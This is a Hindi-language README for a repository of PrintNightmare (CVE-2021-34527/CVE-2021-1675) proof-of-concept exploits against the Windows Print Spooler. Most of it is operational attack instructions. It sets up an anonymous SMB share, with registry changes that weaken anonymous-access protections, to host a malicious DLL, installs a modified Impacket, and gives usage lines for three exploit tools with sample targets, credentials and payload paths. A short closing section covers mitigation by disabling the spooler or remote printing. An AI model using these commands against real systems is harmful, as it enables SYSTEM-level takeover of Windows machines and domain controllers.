
PrintNightmare - Windows Print Spooler RCE/LPE भेद्यता (CVE-2021-34527, CVE-2021-1675) प्रूफ ऑफ कॉन्सेप्ट शोषण
यह एक रिमोट कोड निष्पादन भेद्यता है जिसका उपयोग प्रिंट स्पूलर सेवा चलाने वाले विंडोज मशीनों के विरुद्ध प्रमाणित रिमोट उपयोगकर्ता द्वारा SYSTEM स्तर के विशेषाधिकार प्राप्त करने के लिए किया जा सकता है। हमलावर तब उस पहुंच का उपयोग करके नए खाते बना सकता है, प्रोग्राम स्थापित करने का प्रयास कर सकता है; डेटा देख, बदल या हटा सकता है; या पूर्ण उपयोगकर्ता अधिकारों के साथ नए खाते बना सकता है।
यह भेद्यता विंडोज सिस्टम पर प्रिंट स्पूलर सेवा spoolsv.exe में एक प्राधिकरण बाईपास बग के कारण मौजूद है, जो प्रमाणित रिमोट उपयोगकर्ताओं को RPC कॉल RpcAddPrinterDriver का उपयोग करके प्रिंट ड्राइवर स्थापित करने और रिमोट स्थान पर स्थित एक ड्राइवर फ़ाइल निर्दिष्ट करने की अनुमति देता है। इसका शोषण करने वाला दुर्भावनापूर्ण उपयोगकर्ता प्रिंट ड्राइवर स्थापित करने के भाग के रूप में दुर्भावनापूर्ण DLL इंजेक्ट करके इस सेवा को चलाने वाले विंडोज सिस्टम पर SYSTEM स्तर के विशेषाधिकार प्राप्त कर सकता है।
जबकि Microsoft ने CVE-2021-1675 के लिए एक अपडेट जारी किया है, यह अपडेट Active Directory डोमेन कंट्रोलर या उन विंडोज सिस्टमों की रक्षा नहीं करता है जिनमें NoWarningNoElevationOnInstall विकल्प के साथ Point and Print कॉन्फ़िगर किया गया है।
इस रिपॉजिटरी में तीन PoC एक्सप्लॉइट कार्यान्वयन हैं:
चूंकि RPC सेवा क्लाइंट मशीन को प्रिंट ड्राइवर के लिए एक स्थान प्रदान करने की अनुमति देती है जिसे रिमोट सर्वर द्वारा डाउनलोड किया जाना है, निम्नलिखित उदाहरण विकल्पों का उपयोग पेलोड को होस्ट करने और एक्सप्लॉइट चलाते समय प्रदान किए गए पथ के लिए किया जा सकता है:
Samba में गेस्ट एक्सेस सेट अप करने के लिए, आपको एक ऐसा उपयोगकर्ता सेट अप करना होगा जिसके रूप में यह लॉग इन करने का दिखावा करे। सुनिश्चित करें कि सिस्टम में एक उपयोगकर्ता smbuser मौजूद है, अन्यथा पासवर्ड password के साथ एक बनाएँ
id -u smbuser &>/dev/null || useradd -p $(openssl passwd -1 password) smbuser
/etc/samba/smb.conf को संपादित करें और अनाम पहुंच सक्षम करें
[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445
[smb]
comment = Samba
path = /tmp/
guest ok = yes
read only = no
browsable = yes
force user = smbuser
mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Reboot
नीचे cube0x0 द्वारा प्रदान किए गए निर्देशों से थोड़ा अद्यतन किए गए निर्देश हैं:
यह cube0x0 द्वारा Printnightmare एक्सप्लॉइट का Impacket कार्यान्वयन है। एक्सप्लॉइट चलाने से पहले आपको Impacket का एक संशोधित संस्करण स्थापित करना होगा:
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install
इस भेद्यता के लिए एक्सप्लॉइट कोड को Python 3 का उपयोग करके चलाने की आवश्यकता है
usage: CVE-2021-34527.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share
CVE-2021-1675/34527 implementation.
positional arguments:
target [[domain/]username[:password]@]<targetName or address>
share Path to DLL. Example '\\10.10.10.10\share\evil.dll'
optional arguments:
-h, --help show this help message and exit
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
connection:
-target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name
and you cannot resolve it
-port [destination port]
Destination port to connect to SMB Server
Example;
./CVE-2021-34527.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-34527.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'
SharpPrintNightmare/ निर्देशिका में Printnightmare एक्सप्लॉइट का C# कार्यान्वयन है, दोनों स्थानीय विशेषाधिकार वृद्धि (LPE) (CVE-2021-1675) और रिमोट कोड निष्पादन (RCE) के लिए। RCE कार्यक्षमता के लिए एक्सप्लॉइट चलाने वाली मशीन पर स्थानीय व्यवस्थापक विशेषाधिकारों के साथ निष्पादन की आवश्यकता होती है।
#LPE
C:\SharpPrintNightmare.exe C:\addCube.dll
#RCE using existing context
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20'
#RCE using runas /netonly
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' domain.local domain_username password
.\PrintNightmare.exe dc_ip path_to_exp user_name password
Example:
.\PrintNightmare.exe 192.168.5.129 \\192.168.5.197\test\MyExploit.dll user2 test123##
निम्नलिखित चलाएँ:
Get-Service -Name Spooler
यदि प्रिंट स्पूलर चल रहा है या सेवा अक्षम पर सेट नहीं है, तो प्रिंट स्पूलर सेवा को अक्षम करने या समूह नीति के माध्यम से इनबाउंड रिमोट प्रिंटिंग को अक्षम करने के लिए निम्नलिखित विकल्पों में से एक चुनें:
यदि प्रिंट स्पूलर सेवा को अक्षम करना आपके उद्यम के लिए उपयुक्त है, तो निम्नलिखित PowerShell कमांड का उपयोग करें (Microsoft की अनुशंसा):
Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled
या रजिस्ट्री का उपयोग करके स्पूलर सेवा अक्षम करें
Stop-Service Spooler
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v "Start" /t REG_DWORD /d "4" /f
या प्रिंट-सेवाएँ अनइंस्टॉल करें
Uninstall-WindowsFeature Print-Services
इससे स्थानीय और रिमोट दोनों तरह से प्रिंट करने की क्षमता अक्षम हो जाएगी।
आप सेटिंग्स को समूह नीति के माध्यम से निम्नानुसार कॉन्फ़िगर भी कर सकते हैं:
Computer Configuration / Administrative Templates / Printers
रिमोट हमलों को ब्लॉक करने के लिए “Allow Print Spooler to accept client connections:” नीति को अक्षम करें।
यह नीति इनबाउंड रिमोट प्रिंटिंग संचालन को रोककर रिमोट अटैक वेक्टर को ब्लॉक करेगी। सिस्टम अब प्रिंट सर्वर के रूप में कार्य नहीं करेगा, लेकिन सीधे संलग्न उपकरण पर स्थानीय प्रिंटिंग अभी भी संभव होगी।
अधिक जानकारी के लिए देखें: प्रिंटर को नियंत्रित करने के लिए समूह नीति सेटिंग्स का उपयोग करें।